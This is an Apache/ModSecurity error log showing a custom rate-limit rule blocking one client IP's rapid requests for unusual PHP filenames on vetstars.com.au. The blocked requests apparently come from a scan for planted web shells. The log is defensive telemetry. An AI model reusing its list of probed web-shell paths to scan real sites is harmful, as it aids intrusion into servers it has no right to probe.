[Sun Apr 19 23:34:25.140187 2026] [:error] [pid 47772:tid 47808] [client 20.215.51.14:7093] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awdld.php"] [unique_id "aeT2AYc0L16cb4smAz_mPwAAABM"]
[Sun Apr 19 23:34:26.094273 2026] [:error] [pid 15763:tid 15805] [client 20.215.51.14:6986] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Geforce.php"] [unique_id "aeT2ArMXv1Y1THOoxaAcyQAAAgk"]
[Sun Apr 19 23:34:26.726216 2026] [:error] [pid 15763:tid 15803] [client 20.215.51.14:6993] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Geforce.php"] [unique_id "aeT2ArMXv1Y1THOoxaAczgAAAgc"]
[Sun Apr 19 23:34:27.492311 2026] [:error] [pid 15765:tid 15859] [client 20.215.51.14:7098] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Geforce.php"] [unique_id "aeT2A_Rqinw-W5EwQ74OAAAAAoY"]
[Sun Apr 19 23:34:28.113172 2026] [:error] [pid 15760:tid 15780] [client 20.215.51.14:7154] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Geforce.php"] [unique_id "aeT2BPSdD_XHQMJ_ISt1BwAAAcw"]
[Sun Apr 19 23:34:28.804128 2026] [:error] [pid 15765:tid 15876] [client 20.215.51.14:7118] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wkogn.php"] [unique_id "aeT2BPRqinw-W5EwQ74OAgAAApc"]
[Sun Apr 19 23:34:29.518143 2026] [:error] [pid 15765:tid 15855] [client 20.215.51.14:6996] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wkogn.php"] [unique_id "aeT2BfRqinw-W5EwQ74OBAAAAoI"]
[Sun Apr 19 23:34:30.279978 2026] [:error] [pid 15764:tid 15840] [client 20.215.51.14:7131] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wkogn.php"] [unique_id "aeT2BmLL_sqdSHoVp-RIrAAAAk4"]
[Sun Apr 19 23:34:30.945311 2026] [:error] [pid 15760:tid 15777] [client 20.215.51.14:7006] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wkogn.php"] [unique_id "aeT2BvSdD_XHQMJ_ISt1DwAAAck"]
[Sun Apr 19 23:34:31.774915 2026] [:error] [pid 15764:tid 15829] [client 20.215.51.14:7079] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xfun.php"] [unique_id "aeT2B2LL_sqdSHoVp-RIswAAAkM"]
[Sun Apr 19 23:34:32.500403 2026] [:error] [pid 15764:tid 15842] [client 20.215.51.14:7074] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xfun.php"] [unique_id "aeT2CGLL_sqdSHoVp-RItwAAAlA"]
[Sun Apr 19 23:34:33.223508 2026] [:error] [pid 15764:tid 15832] [client 20.215.51.14:7031] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xfun.php"] [unique_id "aeT2CWLL_sqdSHoVp-RIugAAAkY"]
[Sun Apr 19 23:34:34.292966 2026] [:error] [pid 15760:tid 15772] [client 20.215.51.14:7025] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xfun.php"] [unique_id "aeT2CvSdD_XHQMJ_ISt1EwAAAcQ"]
[Sun Apr 19 23:34:35.161605 2026] [:error] [pid 15765:tid 15871] [client 20.215.51.14:7076] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/trx24.php"] [unique_id "aeT2C_Rqinw-W5EwQ74OCwAAApI"]
[Sun Apr 19 23:34:35.852638 2026] [:error] [pid 15760:tid 15773] [client 20.215.51.14:6963] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/trx24.php"] [unique_id "aeT2C_SdD_XHQMJ_ISt1FgAAAcU"]
[Sun Apr 19 23:34:36.537880 2026] [:error] [pid 15693:tid 15699] [client 20.215.51.14:6997] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/trx24.php"] [unique_id "aeT2DMNMD-ccazQlTslnygAAAUM"]
[Sun Apr 19 23:34:37.136821 2026] [:error] [pid 15760:tid 15784] [client 20.215.51.14:7020] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/trx24.php"] [unique_id "aeT2DfSdD_XHQMJ_ISt1HwAAAdA"]
[Sun Apr 19 23:34:37.729015 2026] [:error] [pid 15693:tid 15715] [client 20.215.51.14:6947] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3akp.php"] [unique_id "aeT2DcNMD-ccazQlTslnzAAAAVM"]
[Sun Apr 19 23:34:38.582197 2026] [:error] [pid 15693:tid 15700] [client 20.215.51.14:7111] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3akp.php"] [unique_id "aeT2DsNMD-ccazQlTslnzgAAAUQ"]
[Sun Apr 19 23:34:39.260809 2026] [:error] [pid 15765:tid 15859] [client 20.215.51.14:7014] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3akp.php"] [unique_id "aeT2D_Rqinw-W5EwQ74ODAAAAoY"]
[Sun Apr 19 23:34:39.968481 2026] [:error] [pid 15693:tid 15709] [client 20.215.51.14:7033] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3akp.php"] [unique_id "aeT2D8NMD-ccazQlTsln1AAAAU0"]
[Sun Apr 19 23:34:40.779151 2026] [:error] [pid 47772:tid 47809] [client 20.215.51.14:7134] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ctjpseby.php"] [unique_id "aeT2EIc0L16cb4smAz_mSwAAABQ"]
[Sun Apr 19 23:34:41.361979 2026] [:error] [pid 47772:tid 47806] [client 20.215.51.14:6955] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ctjpseby.php"] [unique_id "aeT2EYc0L16cb4smAz_mTwAAABE"]
[Sun Apr 19 23:34:42.003405 2026] [:error] [pid 15765:tid 15866] [client 20.215.51.14:7000] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ctjpseby.php"] [unique_id "aeT2EvRqinw-W5EwQ74OFAAAAo0"]
[Sun Apr 19 23:34:42.725361 2026] [:error] [pid 47772:tid 47792] [client 20.215.51.14:7030] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ctjpseby.php"] [unique_id "aeT2Eoc0L16cb4smAz_mcQAAAAM"]
[Sun Apr 19 23:34:43.626992 2026] [:error] [pid 47886:tid 47908] [client 20.215.51.14:7132] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fss.php"] [unique_id "aeT2E0Se8yiyuPrD7yOLWQAAANQ"]
[Sun Apr 19 23:34:44.577869 2026] [:error] [pid 47772:tid 47801] [client 20.215.51.14:6918] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fss.php"] [unique_id "aeT2FIc0L16cb4smAz_mfAAAAAw"]
[Sun Apr 19 23:34:45.320164 2026] [:error] [pid 15765:tid 15859] [client 20.215.51.14:7108] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fss.php"] [unique_id "aeT2FfRqinw-W5EwQ74OIAAAAoY"]
[Sun Apr 19 23:34:46.253129 2026] [:error] [pid 15760:tid 15789] [client 20.215.51.14:7029] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fss.php"] [unique_id "aeT2FvSdD_XHQMJ_ISt1MQAAAdU"]
[Sun Apr 19 23:34:47.133333 2026] [:error] [pid 15765:tid 15870] [client 20.215.51.14:7034] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sts.php"] [unique_id "aeT2F_Rqinw-W5EwQ74OJQAAApE"]
[Sun Apr 19 23:34:47.916895 2026] [:error] [pid 47772:tid 47811] [client 20.215.51.14:7085] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sts.php"] [unique_id "aeT2F4c0L16cb4smAz_mhAAAABY"]
[Sun Apr 19 23:34:48.737282 2026] [:error] [pid 47772:tid 47792] [client 20.215.51.14:6940] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sts.php"] [unique_id "aeT2GIc0L16cb4smAz_migAAAAM"]
[Sun Apr 19 23:34:49.338820 2026] [:error] [pid 47772:tid 47802] [client 20.215.51.14:6932] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sts.php"] [unique_id "aeT2GYc0L16cb4smAz_mjgAAAA0"]
[Sun Apr 19 23:34:50.128207 2026] [:error] [pid 15760:tid 15772] [client 20.215.51.14:7028] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abpxrnwe.php"] [unique_id "aeT2GvSdD_XHQMJ_ISt1NAAAAcQ"]
[Sun Apr 19 23:34:50.694694 2026] [:error] [pid 15760:tid 15785] [client 20.215.51.14:6943] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abpxrnwe.php"] [unique_id "aeT2GvSdD_XHQMJ_ISt1NgAAAdE"]
[Sun Apr 19 23:34:51.256818 2026] [:error] [pid 47775:tid 47849] [client 20.215.51.14:6985] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abpxrnwe.php"] [unique_id "aeT2G7mztjlk9tsmoewvUgAAAIY"]
[Sun Apr 19 23:34:51.849286 2026] [:error] [pid 15693:tid 15711] [client 20.215.51.14:7003] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abpxrnwe.php"] [unique_id "aeT2G8NMD-ccazQlTsln1QAAAU8"]
[Sun Apr 19 23:34:52.427327 2026] [:error] [pid 15764:tid 15831] [client 20.215.51.14:7165] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ynjli.php"] [unique_id "aeT2HGLL_sqdSHoVp-RI0QAAAkU"]
[Sun Apr 19 23:34:53.080464 2026] [:error] [pid 15763:tid 15803] [client 20.215.51.14:7013] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ynjli.php"] [unique_id "aeT2HbMXv1Y1THOoxaAc4AAAAgc"]
[Sun Apr 19 23:34:53.732819 2026] [:error] [pid 15760:tid 15771] [client 20.215.51.14:6999] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ynjli.php"] [unique_id "aeT2HfSdD_XHQMJ_ISt1PgAAAcM"]
[Sun Apr 19 23:35:40.758935 2026] [:error] [pid 15760:tid 15785] [client 20.215.51.14:7039] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "aeT2TPSdD_XHQMJ_ISt1iwAAAdE"]
[Sun Apr 19 23:35:41.464231 2026] [:error] [pid 15763:tid 15810] [client 20.215.51.14:7158] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "aeT2TbMXv1Y1THOoxaAdAwAAAg4"]
[Sun Apr 19 23:35:42.045644 2026] [:error] [pid 15760:tid 15789] [client 20.215.51.14:7005] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "aeT2TvSdD_XHQMJ_ISt1kwAAAdU"]
[Sun Apr 19 23:35:42.662581 2026] [:error] [pid 15760:tid 15783] [client 20.215.51.14:7055] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "aeT2TvSdD_XHQMJ_ISt1lgAAAc8"]
[Sun Apr 19 23:35:43.362586 2026] [:error] [pid 15760:tid 15790] [client 20.215.51.14:6864] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abrand.php"] [unique_id "aeT2T_SdD_XHQMJ_ISt1mgAAAdY"]
[Sun Apr 19 23:35:44.232605 2026] [:error] [pid 15760:tid 15773] [client 20.215.51.14:7133] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abrand.php"] [unique_id "aeT2UPSdD_XHQMJ_ISt1oAAAAcU"]
[Sun Apr 19 23:35:45.002993 2026] [:error] [pid 15694:tid 15724] [client 20.215.51.14:7115] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abrand.php"] [unique_id "aeT2UbimB-jol1fwqAodkwAAAYE"]
[Sun Apr 19 23:35:45.784462 2026] [:error] [pid 15694:tid 15738] [client 20.215.51.14:7078] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abrand.php"] [unique_id "aeT2UbimB-jol1fwqAodlQAAAYw"]
[Sun Apr 19 23:35:46.414806 2026] [:error] [pid 15760:tid 15786] [client 20.215.51.14:7147] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fsgdjkl.php"] [unique_id "aeT2UvSdD_XHQMJ_ISt1rwAAAdI"]
[Sun Apr 19 23:35:47.031622 2026] [:error] [pid 15760:tid 15773] [client 20.215.51.14:7137] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fsgdjkl.php"] [unique_id "aeT2U_SdD_XHQMJ_ISt1tAAAAcU"]
[Sun Apr 19 23:35:47.671167 2026] [:error] [pid 15760:tid 15781] [client 20.215.51.14:7121] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fsgdjkl.php"] [unique_id "aeT2U_SdD_XHQMJ_ISt1vAAAAc0"]
[Sun Apr 19 23:35:48.352606 2026] [:error] [pid 15764:tid 15826] [client 20.215.51.14:7056] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fsgdjkl.php"] [unique_id "aeT2VGLL_sqdSHoVp-RJDQAAAkA"]
[Sun Apr 19 23:35:49.038577 2026] [:error] [pid 15763:tid 15820] [client 20.215.51.14:6913] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sk25_1.php"] [unique_id "aeT2VbMXv1Y1THOoxaAdCwAAAhg"]
[Sun Apr 19 23:35:49.682315 2026] [:error] [pid 15760:tid 15784] [client 20.215.51.14:6849] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sk25_1.php"] [unique_id "aeT2VfSdD_XHQMJ_ISt1xwAAAdA"]
[Sun Apr 19 23:35:50.366827 2026] [:error] [pid 15760:tid 15770] [client 20.215.51.14:7110] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sk25_1.php"] [unique_id "aeT2VvSdD_XHQMJ_ISt1ywAAAcI"]
[Sun Apr 19 23:35:51.006474 2026] [:error] [pid 15763:tid 15797] [client 20.215.51.14:7139] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sk25_1.php"] [unique_id "aeT2V7MXv1Y1THOoxaAdDwAAAgE"]
